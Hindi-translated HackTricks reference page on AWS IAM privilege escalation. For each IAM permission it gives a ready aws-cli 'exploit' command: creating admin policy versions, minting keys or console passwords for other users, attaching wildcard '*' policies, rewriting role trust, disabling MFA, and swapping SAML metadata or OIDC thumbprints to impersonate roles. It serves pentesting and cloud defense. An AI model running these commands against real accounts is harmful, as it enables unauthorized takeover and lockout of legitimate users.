AWS - IAM Privesc

Support HackTricks

IAM

IAM के बारे में अधिक जानकारी के लिए देखें:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

एक नए IAM नीति संस्करण को बनाने की क्षमता प्रदान करता है, --set-as-default ध्वज का उपयोग करके iam:SetDefaultPolicyVersion अनुमति की आवश्यकता को बायपास करता है। यह कस्टम अनुमतियों को परिभाषित करने की अनुमति देता है।

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

प्रभाव: सीधे विशेषाधिकारों को बढ़ाता है जिससे किसी भी संसाधन पर कोई भी क्रिया की जा सकती है।

iam:SetDefaultPolicyVersion

IAM नीति के डिफ़ॉल्ट संस्करण को किसी अन्य मौजूदा संस्करण में बदलने की अनुमति देता है, यदि नए संस्करण में अधिक अनुमतियाँ हैं तो विशेषाधिकारों को बढ़ाने की संभावना होती है।

Bash कमांड:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

प्रभाव: अधिक अनुमतियों को सक्षम करके अप्रत्यक्ष विशेषाधिकार वृद्धि।

iam:CreateAccessKey

किसी अन्य उपयोगकर्ता के लिए एक्सेस कुंजी आईडी और गुप्त एक्सेस कुंजी बनाने की अनुमति देता है, जिससे संभावित विशेषाधिकार वृद्धि हो सकती है।

शोषण:

aws iam create-access-key --user-name <target_user>

प्रभाव: किसी अन्य उपयोगकर्ता की विस्तारित अनुमतियों को ग्रहण करके सीधे विशेषाधिकार वृद्धि।

iam:CreateLoginProfile | iam:UpdateLoginProfile

AWS कंसोल लॉगिन के लिए पासवर्ड सेट करने सहित एक लॉगिन प्रोफ़ाइल बनाने या अपडेट करने की अनुमति देता है, जो सीधे विशेषाधिकार वृद्धि की ओर ले जाता है।

निर्माण के लिए शोषण:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

अपडेट के लिए शोषण:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

प्रभाव: "किसी भी" उपयोगकर्ता के रूप में लॉग इन करके सीधे विशेषाधिकार वृद्धि।

iam:UpdateAccessKey

एक निष्क्रिय एक्सेस कुंजी को सक्षम करने की अनुमति देता है, यदि हमलावर के पास निष्क्रिय कुंजी है तो यह अनधिकृत पहुंच की संभावना पैदा कर सकता है।

शोषण:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

प्रभाव: एक्सेस कीज़ को फिर से सक्रिय करके सीधे विशेषाधिकार वृद्धि।

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

विशिष्ट AWS सेवाओं (जैसे, CodeCommit, Amazon Keyspaces) के लिए क्रेडेंशियल बनाने या रीसेट करने की अनुमति देता है, संबंधित उपयोगकर्ता के अनुमतियों को विरासत में लेते हुए।

निर्माण के लिए शोषण:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

रीसेट के लिए शोषण:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

प्रभाव: उपयोगकर्ता की सेवा अनुमतियों के भीतर सीधे विशेषाधिकार वृद्धि।

iam:AttachUserPolicy || iam:AttachGroupPolicy

उपयोगकर्ताओं या समूहों को नीतियों को संलग्न करने की अनुमति देता है, संलग्न नीति की अनुमतियों को विरासत में लेकर सीधे विशेषाधिकार बढ़ाता है।

उपयोगकर्ता के लिए शोषण:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

समूह के लिए शोषण:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

प्रभाव: नीति द्वारा प्रदान की गई किसी भी चीज़ पर सीधे विशेषाधिकार वृद्धि।

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

भूमिकाओं, उपयोगकर्ताओं, या समूहों पर नीतियों को संलग्न करने या रखने की अनुमति देता है, जिससे अतिरिक्त अनुमतियाँ प्रदान करके सीधे विशेषाधिकार वृद्धि संभव होती है।

भूमिका के लिए शोषण:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

इनलाइन नीतियों के लिए शोषण:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

आप एक नीति का उपयोग कर सकते हैं जैसे:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

प्रभाव: नीतियों के माध्यम से अनुमतियों को जोड़कर सीधे विशेषाधिकार वृद्धि।

iam:AddUserToGroup

IAM समूह में स्वयं को जोड़ने की अनुमति देता है, समूह की अनुमतियों को विरासत में लेकर विशेषाधिकार बढ़ाता है।

शोषण:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

प्रभाव: समूह की अनुमतियों के स्तर तक सीधे विशेषाधिकार वृद्धि।

iam:UpdateAssumeRolePolicy

एक भूमिका के assume role नीति दस्तावेज़ को बदलने की अनुमति देता है, भूमिका और इसके संबंधित अनुमतियों को ग्रहण करने में सक्षम बनाता है।

शोषण:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

जहाँ नीति निम्नलिखित की तरह दिखती है, जो उपयोगकर्ता को भूमिका ग्रहण करने की अनुमति देती है:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

प्रभाव: किसी भी भूमिका की अनुमतियों को ग्रहण करके सीधे विशेषाधिकार वृद्धि।

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

कोडकमिट के लिए प्रमाणीकरण के लिए SSH सार्वजनिक कुंजी अपलोड करने और MFA उपकरणों को निष्क्रिय करने की अनुमति देता है, जिससे संभावित अप्रत्यक्ष विशेषाधिकार वृद्धि हो सकती है।

SSH कुंजी अपलोड के लिए शोषण:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

MFA निष्क्रियता के लिए शोषण:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

प्रभाव: कोडकमिट एक्सेस सक्षम करके या MFA सुरक्षा को अक्षम करके अप्रत्यक्ष विशेषाधिकार वृद्धि।

iam:ResyncMFADevice

MFA डिवाइस के पुनर्संक्रमण की अनुमति देता है, जो संभावित रूप से MFA सुरक्षा में हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि की ओर ले जा सकता है।

बाश कमांड:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

प्रभाव: MFA उपकरणों को जोड़ने या हेरफेर करके अप्रत्यक्ष विशेषाधिकार वृद्धि।

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

इन अनुमतियों के साथ आप SAML कनेक्शन के XML मेटाडेटा को बदल सकते हैं। फिर, आप SAML संघ का दुरुपयोग करके किसी भी भूमिका के साथ लॉगिन कर सकते हैं जो इसे विश्वास करती है।

ध्यान दें कि ऐसा करने पर वैध उपयोगकर्ता लॉगिन नहीं कर पाएंगे। हालाँकि, आप XML प्राप्त कर सकते हैं, इसलिए आप अपना डाल सकते हैं, लॉगिन कर सकते हैं और पिछले को कॉन्फ़िगर कर सकते हैं।

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: एक उपकरण जो SAML मेटाडेटा उत्पन्न करने और निर्दिष्ट भूमिका के साथ लॉगिन करने में सक्षम हो

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(इस बारे में अनिश्चित) यदि एक हमलावर के पास ये अनुमतियाँ हैं, तो वह प्रदाता पर भरोसा करने वाली सभी भूमिकाओं में लॉगिन करने के लिए एक नया थंबप्रिंट जोड़ सकता है।

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

संदर्भ

HackTricks का समर्थन करें

Last updated